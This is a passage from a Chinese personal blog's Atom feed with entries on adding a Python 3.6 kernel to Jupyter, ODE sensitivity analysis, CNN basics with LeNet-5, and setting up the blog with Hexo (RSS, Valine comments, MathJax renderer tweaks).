<published>2018-09-16T08:59:30.000Z</published>
<updated>2024-01-16T06:38:43.137Z</updated>
<content type="html"><![CDATA[<p>电脑上的Python同时安装了3.6和3.7版本。然后我希望在Python3.7所使用的<code>jupyter notebook</code>中使用<code>python3.6</code>的内核(因为<code>TensorFlow</code>还没有对<code>Python 3.7</code>的支持)。所以大概就有了这篇博客。</p><span id="more"></span><h2 id="直观地查找-方法一"><a href="#直观地查找-方法一" class="headerlink" title="直观地查找(方法一)"></a>直观地查找(方法一)</h2><p>无论何时,要了解一个命令最简单的方式当然是查看帮助文档。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\ciaran>jupyter --help</span><br><span class="line">usage: jupyter [-h] [--version] [--config-dir] [--data-dir] [--runtime-dir]</span><br><span class="line"> [--paths] [--json]</span><br><span class="line"> [subcommand]</span><br><span class="line"></span><br><span class="line">Jupyter: Interactive Computing</span><br><span class="line"></span><br><span class="line">positional arguments:</span><br><span class="line"> subcommand the subcommand to launch</span><br><span class="line"></span><br><span class="line">optional arguments:</span><br><span class="line"> -h, --help show this help message and exit</span><br><span class="line"> --version show the jupyter command's version and exit</span><br><span class="line"> --config-dir show Jupyter config dir</span><br><span class="line"> --data-dir show Jupyter data dir</span><br><span class="line"> --runtime-dir show Jupyter runtime dir</span><br><span class="line"> --paths show all Jupyter paths. Add --json for machine-readable</span><br><span class="line"> format.</span><br><span class="line"> --json output paths as machine-readable json</span><br><span class="line"></span><br><span class="line">Available subcommands: bundlerextension console kernel kernelspec migrate</span><br><span class="line">nbconvert nbextension notebook qtconsole run serverextension troubleshoot</span><br><span class="line">trust</span><br></pre></td></tr></table></figure><p>从中大概可以看到,在<code>jupyter</code>的子命令中,与<code>kernel</code>有关的只有:<code>kernel</code>和<code>kernelspec</code>。而<code>kernel</code>是用于<code>Run a kernel locally in a subprocess</code>的子命令。</p><p>所以我们就能看到jupyter的kernelspec的的用处,这正是我们所需要调整的内容。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\ciaran>jupyter kernelspec --help</span><br><span class="line">Manage Jupyter kernel specifications.</span><br><span class="line"></span><br><span class="line">Subcommands</span><br><span class="line">-----------</span><br><span class="line"></span><br><span class="line">Subcommands are launched as `jupyter kernelspec cmd [args]`. For information on</span><br><span class="line">using subcommand 'cmd', do: `jupyter kernelspec cmd -h`.</span><br><span class="line"></span><br><span class="line">list</span><br><span class="line"> List installed kernel specifications.</span><br><span class="line">install</span><br><span class="line"> Install a kernel specification directory.</span><br><span class="line">uninstall</span><br><span class="line"> Alias for remove</span><br><span class="line">remove</span><br><span class="line"> Remove one or more Jupyter kernelspecs by name.</span><br><span class="line">install-self</span><br><span class="line"> [DEPRECATED] Install the IPython kernel spec directory for this Python.</span><br><span class="line"></span><br><span class="line">To see all available configurables, use `--help-all`</span><br></pre></td></tr></table></figure><p>首先查看jupyter中<code>kernel</code>的设置的位置:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\ciaran>jupyter kernelspec list</span><br><span class="line">Available kernels:</span><br><span class="line"> python3 d:\python37\share\jupyter\kernels\python3</span><br></pre></td></tr></table></figure><h2 id="修改配置文件"><a href="#修改配置文件" class="headerlink" title="修改配置文件"></a>修改配置文件</h2><p>然后用文件管理器打开这个文件夹<code>d:\python37\share\jupyter\kernels</code>,这个文件夹中只有一个文件夹也就是<code>python3</code>,那么想必这就是一个<code>kernel specification directory</code>了。</p><p>看一看里面的结构,发现只有一个json文件<code>kernel.json</code>和两个Python的图标:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"argv"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"> <span class="string">"python"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="string">"-m"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="string">"ipykernel_launcher"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="string">"-f"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="string">"{connection_file}"</span></span><br><span class="line"> <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"display_name"</span><span class="punctuation">:</span> <span class="string">"Python 3"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"language"</span><span class="punctuation">:</span> <span class="string">"python"</span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p>复制一份重新命名,并修改这个<code>kernel.json</code>。</p><p>把它改为<code>python3.6</code>版本:(argv中的命令是因为我已经将python3.6的可执行文件重命名为<code>python36</code>且将相应的目录添加到Path中了,如果没有这么做,那么在这一栏还需要完整填写python3.6的路径)</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"> <span class="attr">"argv"</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line"> <span class="string">"python36"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="string">"-m"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="string">"ipykernel_launcher"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="string">"-f"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="string">"{connection_file}"</span></span><br><span class="line"> <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"display_name"</span><span class="punctuation">:</span> <span class="string">"Python 3.6"</span><span class="punctuation">,</span></span><br><span class="line"> <span class="attr">"language"</span><span class="punctuation">:</span> <span class="string">"python"</span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p>但是这样做了之后我们还不能得到在kernelspec中的结果。我们还需要在<code>kernelspec</code>中安装它。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\ciaran\Desktop\mlLearning>jupyter kernelspec install D:\Python37\share\jupyter\kernels\python36</span><br><span class="line">[InstallKernelSpec] Installed kernelspec python36 in C:\ProgramData\jupyter\kernels\python36</span><br></pre></td></tr></table></figure><p>这个时候我们就可以在<code>jupyter notebook</code>的图形界面上看到出现了一个喜闻乐见的<code>Python3.6</code>。</p><p><img src="/images/jupyter_new_kernel.png" alt="jupyter new kernel"></p><p>但是现在这个<code>kernel</code>是不能用的,因为我们还没有在<code>python3.6</code>上安装ipython kernel。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python36 -m pip install ipykernel</span><br></pre></td></tr></table></figure><p>此时我们就能在jupyter中正常使用python 3.6的内核了。</p><h2 id="正常的方式-方法二"><a href="#正常的方式-方法二" class="headerlink" title="正常的方式(方法二)"></a>正常的方式(方法二)</h2><p>除了应该查帮助文档,查官方文档也是一个很应该的做法。</p><p>官方文档的方式比上面那一套意义不明的操作简单得多。前置条件是安装<code>ipykernel</code></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python36 -m pip install ipykernel</span><br></pre></td></tr></table></figure><p>然后直接通过这条命令:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python36 -m ipykernel install --user --name myenv --display-name "Python (myenv)"</span><br></pre></td></tr></table></figure><p>结果是看到它在系统的目录中多了一个kernel。 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">C:\Users\ciaran>jupyter kernelspec list</span><br><span class="line">Available kernels:</span><br><span class="line"> myenv C:\Users\ciaran\AppData\Roaming\jupyter\kernels\myenv</span><br><span class="line"> python3 d:\python37\share\jupyter\kernels\python3</span><br><span class="line"> python36 d:\python37\share\jupyter\kernels\python36</span><br></pre></td></tr></table></figure><p>可以看到的是在系统的这个目录中生成的json文件与我们之前修改的文件几乎一模一样,而且也能在图形界面中使用它了。</p><p>使用虚拟环境的python作为jupyter kernel的方式也跟这个过程类似,包括使用Anaconda的环境也是如此</p>]]></content>
<summary type="html"><p>电脑上的Python同时安装了3.6和3.7版本。然后我希望在Python3.7所使用的<code>jupyter notebook</code>中使用<code>python3.6</code>的内核(因为<code>TensorFlow</code>还没有对<code>Python 3.7</code>的支持)。所以大概就有了这篇博客。</p></summary>
<category term="科学计算" scheme="http://blog.ciaran.cn/categories/%E7%A7%91%E5%AD%A6%E8%AE%A1%E7%AE%97/"/>
<category term="ipython" scheme="http://blog.ciaran.cn/tags/ipython/"/>
<category term="jupyter" scheme="http://blog.ciaran.cn/tags/jupyter/"/>
</entry>
<entry>
<title>敏感性分析</title>
<link href="http://blog.ciaran.cn/2018/09/15/%E6%95%8F%E6%84%9F%E6%80%A7%E5%88%86%E6%9E%90/"/>
<id>http://blog.ciaran.cn/2018/09/15/%E6%95%8F%E6%84%9F%E6%80%A7%E5%88%86%E6%9E%90/</id>
<published>2018-09-15T05:33:08.000Z</published>
<updated>2024-01-16T06:38:43.157Z</updated>
<content type="html"><![CDATA[<p>翻译自姐姐的博客。这一篇来自<a href="https://de_licious.gitlab.io/blog/post/2018-08-24sensitivity/">这里</a>,现在还是标着<code>To be continued</code>的状态。</p><span id="more"></span><h1 id="Sensitivity-Analysis"><a href="#Sensitivity-Analysis" class="headerlink" title="Sensitivity Analysis"></a>Sensitivity Analysis</h1><blockquote><p>你知道如何取ODE的微分吗?你会感到惊讶的!</p></blockquote><p>什么是常微分方程(ODE)的导数?你也许会感到困惑。一个ODE不是被定义为 $u’=f’(u,t)$ 吗?那么任意一个ODE的积分都应该是 $f$ 啊!当然,这是正确的,但是如果我们在我们的ODE种有参数$p$,我们有$u’=f’(u,p,t)$,然后我们再来考虑这个参数在ODE解中的敏感性会如何?</p><p>说到导数和灵敏度分析,让我们回顾一下多变量函数的导数。当我们有函数$ f:R^n \mapsto R^M$,我们就能得到一个雅可比矩阵。当我们有函数$ f:R^n \mapsto R $,然后我们能得到梯度向量。类似地,我们也可以获得ODE的雅可比矩阵或梯度向量,并把它们分别称作前向灵敏度分析(forward sensitivity analysis)和伴随灵敏度分析(adjoint sensitivity analysis)</p><h2 id="Forward-Sensitivity-Analysis"><a href="#Forward-Sensitivity-Analysis" class="headerlink" title="Forward Sensitivity Analysis"></a>Forward Sensitivity Analysis</h2><p>一般来说,$p$ 和 $u$ 都是向量,所以 $\frac{\partial u}{\partial p}$ 是一个雅可比矩阵。我们有:</p><p>$$<br>\frac{d}{dt} \frac{\partial u}{\partial p} = \frac{\partial f}{\partial u} \frac{\partial u}{\partial p} + \frac{\partial f}{\partial p}<br>$$</p><h2 id="Adjoint-Sensitivity-Analysis"><a href="#Adjoint-Sensitivity-Analysis" class="headerlink" title="Adjoint Sensitivity Analysis"></a>Adjoint Sensitivity Analysis</h2><blockquote><p>To be continued…</p></blockquote>]]></content>
<summary type="html"><p>翻译自姐姐的博客。这一篇来自<a href="https://de_licious.gitlab.io/blog/post/2018-08-24sensitivity/">这里</a>,现在还是标着<code>To be continued</code>的状态。</p></summary>
<category term="数学" scheme="http://blog.ciaran.cn/categories/%E6%95%B0%E5%AD%A6/"/>
<category term="代数" scheme="http://blog.ciaran.cn/tags/%E4%BB%A3%E6%95%B0/"/>
<category term="翻译" scheme="http://blog.ciaran.cn/tags/%E7%BF%BB%E8%AF%91/"/>
</entry>
<entry>
<title>CNN速览1</title>
<link href="http://blog.ciaran.cn/2018/09/13/CNN%E9%80%9F%E8%A7%881/"/>
<id>http://blog.ciaran.cn/2018/09/13/CNN%E9%80%9F%E8%A7%881/</id>
<published>2018-09-13T08:48:39.000Z</published>
<updated>2024-01-16T06:38:43.094Z</updated>
<content type="html"><![CDATA[<p>这系列博客大概是想速成关于CNN方面的内容,于是基本还是以罗列为主。</p><p>首先介绍一下经典的神经网络<code>LeNet-5</code>,接着简单地列了一下CNN的基本结构,之后还打算详细地写一下它们的细节。</p><span id="more"></span><h2 id="LetNet-5"><a href="#LetNet-5" class="headerlink" title="LetNet-5"></a>LetNet-5</h2><p><strong>卷积神经网络</strong>(Convolutional Neural Network, <strong>CNN</strong>)是一种<a href="https://zh.wikipedia.org/wiki/%E5%89%8D%E9%A6%88%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C">前馈神经网络</a>。</p><p>这其中最经典的一种就是<code>LeNet-5</code>。</p><p><code>LeNet</code>在论文中是用于手写数字识别,里面的结构大概如下:</p><ul><li><p>Input: 0-9数字的$ 32\times32 $手写数字图片。</p></li><li><p>C1: 卷积层1。选择了六个$5\times5$卷积核。使每张图片生成总共 $6\times(32-5+1)\times(32-5+1) = 6 \times 28 \times 28$ 个像素点的新图片。</p></li><li><p>S2: 池化层2。在上一层的基础上进行池化,每$(2,2)$个元素取一个元素,使得对于最初的每张图片生成总计 $ 6 \times 14 \times 14 $ 个像素点的新图片。</p></li><li><p>C3: 卷积层3。再上一层基础上进行两次卷积,得到对于最初的每张图片生成 $16$ 张 $10 \times 10$ 的新图片。</p></li><li><p>S4: 池化层4。再次池化。每$(2,2)$个元素取一个元素,使得对于最初的每张图片生成总计 $ 16 \times 5 \times 5 $ 个像素点的新图片。</p></li><li><p>C5: 卷积层5。使用与C1同样的卷积核,卷积后形成的图的大小为1x1。这里形成120个卷积结果。</p></li><li><p>F6: 全连接层6。</p></li><li><p>Output: 也可以视作一个全连接层。输出0-9。</p></li></ul><p>使用<code>LetNet</code>的目的并不只是因为它很重要,而是借此说明CNN的基本组件,并希望依次地做个介绍。</p><p>另外值得一提的是,在这个神经网络中各个图像大小参数是否有很特别的意义,这是没法说明的。这也是令人诟病的地方。</p><h2 id="卷积层"><a href="#卷积层" class="headerlink" title="卷积层"></a>卷积层</h2><p>卷积的目的就是为了进行特征提取。基于这种目的有人把它叫做滤波器。</p><h3 id="卷积核"><a href="#卷积核" class="headerlink" title="卷积核"></a>卷积核</h3><p>卷积核是一种特定大小矩阵,它的作用是提取出图像更高维的特征,一个卷积核代表一种特征提取方式。</p><p>通过设计不同的卷积核能从图片中获得不同的特征,然后我们在神经网络中对这样的卷积核进行训练以便获得更能体现图片的特征。</p><p>所以我们最初需要给定一个特定大小(在<code>LeNet-5</code>种为$5\times5$)的矩阵,然后由反向传播算法改进这个矩阵内的值。</p><h3 id="卷积参数"><a href="#卷积参数" class="headerlink" title="卷积参数"></a>卷积参数</h3><p>卷积需要的参数:</p><ul><li>步长(stride)</li><li>边界(padding)</li></ul><p>步长指上面说得卷积核每次在图像上移动的像素数。我们也可以使矩阵每次移动多步。但是这样我们生成的图像就会变小。</p><p>边界指在进行卷积时在边界上补出一圈0的点以保证图片的大小不发生变化。</p><p>设卷积核的某一边的长度为 $f$,padding为$p$, stride为$s$。原始的长度为$n$,经过卷积之后的矩阵长度为$n’$。那么:</p><p>$$<br>n’ = \lfloor \frac{n+2p-f}{s} + 1\rfloor<br>$$</p><p>在<code>LeNet</code>中步长是1,边界是0,也就是最经典的一种卷积方式了。</p><h2 id="池化层"><a href="#池化层" class="headerlink" title="池化层"></a>池化层</h2><p>也称下采样层。其实也就是以一定规则从一定大小中提取出某一个像素。用于减小尺寸,提高运算速度的,同时也可以减少噪声。</p><p>常用的有平均池化与最大池化。</p><ul><li>平均池化是计算图像区域的平均值作为该区域池化后的值。就这种说法来说,平均池化也可以理解为一个各处值相等的卷积核所作的卷积。</li><li>最大池化是计算图像区域的最大值作为该区域池化后的值。</li></ul><p>与池化相关的参数包括 <code>步长s</code>和<code>过滤器大小f</code>。设原始矩阵一侧的长度为$n$,经过池化之后的矩阵长度为$n’$。</p><p>$$<br>n’ = \lfloor \frac{n-f}{s} + 1\rfloor<br>$$</p><p>除了上面所述的池化外,也有池化的其它方式,如: <code>Stochastic-pooling</code>, <code>Overlapping Pooling</code>, <code>Spatial Pyramid Pooling</code>。</p><h2 id="全连接层"><a href="#全连接层" class="headerlink" title="全连接层"></a>全连接层</h2><p>全连接层指的是在该层所有的节点都与上一层的每个节点相连。</p><p>全连接层其实可以视作是一个特殊的卷积层,因为这就是使用$1\times1$矩阵作为卷积核所能提取的特征值。</p><p>设上一层节点i的值为$x_i$,本层节点的值为$a_i$,连接上一层节点i和该层节点j的边权重为$w_{ij}$,在转到该层之后偏移$b_i$。基于这些符号,可以列出这样的式子。</p><p>$$<br>A = WX + B<br>$$</p>]]></content>
<summary type="html"><p>这系列博客大概是想速成关于CNN方面的内容,于是基本还是以罗列为主。</p>
<p>首先介绍一下经典的神经网络<code>LeNet-5</code>,接着简单地列了一下CNN的基本结构,之后还打算详细地写一下它们的细节。</p></summary>
<category term="人工智能" scheme="http://blog.ciaran.cn/categories/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/"/>
<category term="CNN" scheme="http://blog.ciaran.cn/tags/CNN/"/>
</entry>
<entry>
<title>博客历史</title>
<link href="http://blog.ciaran.cn/2018/08/24/%E5%8D%9A%E5%AE%A2%E5%8E%86%E5%8F%B2/"/>
<id>http://blog.ciaran.cn/2018/08/24/%E5%8D%9A%E5%AE%A2%E5%8E%86%E5%8F%B2/</id>
<published>2018-08-24T15:27:40.000Z</published>
<updated>2024-01-16T06:38:43.152Z</updated>
<content type="html"><![CDATA[<p>之前几周写了一篇关于<a href="">最小二乘法的博客</a>,但是因为<code>MathJax</code>的问题,最终没有完成于是意识到我可能需要记录一下自己在博客里折腾了什么,不然到时候自己都没法管控自己的博客就贻笑大方了。</p><h2 id="原因(需求)"><a href="#原因(需求)" class="headerlink" title="原因(需求)"></a>原因(需求)</h2><p>我期望我的博客能到达以下的要求:</p><ul><li><p>托管博客。我并不想有太多的管理工作。</p></li><li><p>电脑端与移动端都能访问的美观页面。美观不解释,颜值即正义。而且因为大多数情况电脑不在身边才会偶尔看看别人的博客,因此需要同时满足手机和电脑访问都能得到较好的界面。</p></li><li><p>RSS订阅功能。支持RSS是一种美德。</p></li><li><p>一个国内能访问到的评论系统。(请留给我一种假装博客会有人评论的错觉)</p></li><li><p>支持<code>MathJax</code>。因为有很多的情况都需要写一些数学的公式,所以比较希望能渲染数学的公式</p></li><li><p>内容充实。我希望我写的博客内容会不显得那么水。</p></li></ul><h2 id="托管博客"><a href="#托管博客" class="headerlink" title="托管博客"></a>托管博客</h2><p>最开始的时候,我是在服务器上搭建的博客,只不过在当时实在也没有写过几篇博客。究其原因的话,除了我懒,还可能是因为在服务器上写实在太麻烦。首先我需要在下面写好文件,然后scp文件过去,ssh登录,在一个不出名的端口启动预览,再正式地重启服务。</p><p>无论怎么说,这个流程也太麻烦了,我只是想要一个静态的博客系统而已,不至于花费这么多精力对待它。</p><p>于是我开始尝试使用<a href="http://www.cnblogs.com/"><code>博客园</code></a>,在上面写博客。博客园上各种功能都是齐全的,只是我自己还觉得要发布一个博客还得登到一个界面里,而且修改的话还得一个个地改动,更为繁琐。</p><p>最后决定整个博客移到<code>Github pages</code>上。静态博客生成器使用的是<code>Hexo</code>。这样我只需要写Markdown然后进行发布就足够了。再之后,就是域名重定向到自己的域名,也即<code>blog.ciaran.cn</code>上了。关于<code>Github pages</code>域名的重定向可以参照<a href="https://help.github.com/articles/redirects-on-github-pages/">帮助文档</a>。</p><h2 id="美观"><a href="#美观" class="headerlink" title="美观"></a>美观</h2><p>上面所说的站点的需求中,移动端访问与美观问题都是通过更改<code>Hexo</code>的主题来解决的。<code>Hexo</code>上使用最多的主题无疑是<code>NeXT</code>,而且也符合我上面所说的要求,但是毕竟还是想追求一些与众不同的东西。</p><p>最初选用的主题是<a href="https://github.com/MOxFIVE/yelee"><code>Yelee</code></a>。这是一个很酷炫的主题。有很多的功能,而且也有很多好玩的加载效果,甚至包括Markdown的一些格式都能定制。一看界面就觉得五颜六色很厉害的样子。如果有人问我推荐什么比较好的<code>Hexo</code>主题的话,我大概还是会说推荐使用<code>Yelee</code>。</p><p>放弃使用<code>Yelee</code>的原因是审美的改变。大概觉得五颜六色,动态效果都并非是美,反而分散了原本对文章的注意力,所以打算换用一个简洁有力的主题<a href="https://github.com/tufu9441/maupassant-hexo"><code>maupassant</code></a>,也就是现在的这个主题。界面上没有多的颜色也没有太多的按钮,然而我觉得这就已经够了。</p><h2 id="RSS"><a href="#RSS" class="headerlink" title="RSS"></a>RSS</h2><p>因为<code>maupassant</code>已经提供了RSS的页面接口也即右上角指向<code>/atom.xml</code>的标签,所以我们只需要安装<code>hexo-generator-feed</code>这个包:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">npm install --save hexo-generator-feed</span><br></pre></td></tr></table></figure><p>然后修改博客自己的<code>_config.yml</code>文件,添加这个插件:找到Plugin一行,添加:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">plugin:</span></span><br><span class="line"><span class="bullet">-</span> <span class="string">hexo-generator-feed</span></span><br></pre></td></tr></table></figure><p>在下面添加<code>feed</code>选项,并配置插件的属性。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># RSS</span></span><br><span class="line"><span class="attr">feed:</span></span><br><span class="line"><span class="comment">## RSS的类型,可选atom和rss2</span></span><br><span class="line"><span class="attr">type:</span> <span class="string">atom</span></span><br><span class="line"><span class="comment">## 生成文件的路径</span></span><br><span class="line"><span class="attr">path:</span> <span class="string">atom.xml</span></span><br><span class="line"><span class="comment">## RSS中显示的文章数量</span></span><br><span class="line"> <span class="attr">limit:</span> <span class="number">20</span></span><br><span class="line"><span class="comment">## RSS中是否显示内容,默认为false</span></span><br><span class="line"> <span class="attr">content:</span> <span class="literal">true</span></span><br><span class="line"><span class="comment">### 下面两个属性仅在 content 为 false 时有效</span></span><br><span class="line"><span class="comment">## 指定摘要的长度</span></span><br><span class="line"><span class="attr">content_limit:</span> <span class="number">140</span></span><br><span class="line"><span class="comment">## 指定摘要截取结束的标志</span></span><br><span class="line"><span class="attr">content_limit_delim:</span> <span class="string">' '</span></span><br></pre></td></tr></table></figure><h2 id="评论系统"><a href="#评论系统" class="headerlink" title="评论系统"></a>评论系统</h2><p>评论最开始使用的当然是<code>Disqus</code>。之后由于不可描述的原因,换成了使用韩国的<code>livere </code>(来必力)服务,主要是能连通社交工具,而且也有对评论服务的优化。直到有一天发现,原来在国内是根本没法加载出评论的…而我之前一直开着代理居然完全没有发现这一点。而我写中文博客总不能指望有太多墙外网络环境的人来评论。</p><p>于是换用了一个小众的评论服务<code>Valine</code>,它是基于<code>LeanCloud</code>的评论服务。这个好处在于它的UI风格与<code>maupassant</code>的界面风格非常相似(都是黑白之外没有太多颜色),而且完全是自定义的服务。但是坏处也很明显:那就是没有连通社交网络,昵称什么的都需要评论者自己输入,让人很难提起评论的愿望。</p><h2 id="MathJax"><a href="#MathJax" class="headerlink" title="MathJax"></a>MathJax</h2><p><code>Hexo</code>默认的渲染引擎是<code>marked</code>,我们需要使用<code>kramed</code>来渲染<code>MathJax</code>。然后用<code>hexo-renderer-mathjax</code>代替<code>hexo-math</code>。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">npm install hexo-renderer-kramed --save</span><br><span class="line">npm uninstall hexo-renderer-marked --save</span><br><span class="line">npm install hexo-renderer-mathjax --save</span><br><span class="line">npm uninstall hexo-math --save</span><br></pre></td></tr></table></figure><p>照理来说,这样就已经完成了对<code>MathJax</code>的基本的设置了。但是对于一些主题来说,我们还需要在文章中指定<code>mathjax: true</code>选项(比如说<code>maupassant</code>),具体参照主题的文档。</p><h3 id="修改-inline-渲染"><a href="#修改-inline-渲染" class="headerlink" title="修改 inline 渲染"></a>修改 inline 渲染</h3><p>在<code>node_modules/hexo-renderer-kramed/lib/renderer.js </code>中修改解析美元符号的代码:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">formatText</span>(<span class="params">text</span>) {</span><br><span class="line"> <span class="comment">// Fit kramed's rule: $$ + \1 + $$</span></span><br><span class="line"> <span class="keyword">return</span> text.<span class="title function_">replace</span>(<span class="regexp">/`\$(.*?)\$`/g</span>, <span class="string">'$$$$$1$$$$'</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>改为</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">formatText</span>(<span class="params">text</span>) {</span><br><span class="line"> <span class="keyword">return</span> text;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在<code>node_modules/kramed/lib/rules/inline.js</code>中修改解析<code>*</code>与<code>_</code>的代码:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">escape</span>: <span class="regexp">/^\\([\\`*{}\[\]()#$+\-.!_>])/</span>,</span><br></pre></td></tr></table></figure><p>改为</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">escape</span>: <span class="regexp">/^\\([`*\[\]()# +\-.!_>])/</span>,</span><br></pre></td></tr></table></figure><p>下方还有一处</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">em</span>: <span class="regexp">/^\b_((?:__|[\s\S])+?)_\b|^\*((?:\*\*|[\s\S])+?)\*(?!\*)/</span>,</span><br></pre></td></tr></table></figure><p>改为</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">em</span>: <span class="regexp">/^\*((?:\*\*|[\s\S])+?)\*(?!\*)/</span>,</span><br></pre></td></tr></table></figure><h2 id="内容充实"><a href="#内容充实" class="headerlink" title="内容充实"></a>内容充实</h2><p>博客的内容应当以学过了解过思考过的内容为主。参照一下原则:</p><ul><li>原创:博客中应当尽可能的以自己写的内容为主,引用和翻译他人作品标明出处。</li><li>正确:博客中应当尽量参照官方的文档,少量参考他人的博客。</li><li>简洁:博客中应当以尽量简单的语言说明问题。</li></ul>]]></content>
<summary type="html">记录一下搭建这个博客的历史,以防自己没法再次搭建这个博客。</summary>
<category term="扯淡" scheme="http://blog.ciaran.cn/categories/%E6%89%AF%E6%B7%A1/"/>
<category term="闲谈" scheme="http://blog.ciaran.cn/tags/%E9%97%B2%E8%B0%88/"/>
<category term="hexo" scheme="http://blog.ciaran.cn/tags/hexo/"/>
</entry>
<entry>
<title>PSBC的一周3</title>
<link href="http://blog.ciaran.cn/2018/08/17/PSBC%E7%9A%84%E4%B8%80%E5%91%A83/"/>
<id>http://blog.ciaran.cn/2018/08/17/PSBC%E7%9A%84%E4%B8%80%E5%91%A83/</id>
<published>2018-08-17T12:52:05.000Z</published>
<updated>2024-01-16T06:38:43.103Z</updated>
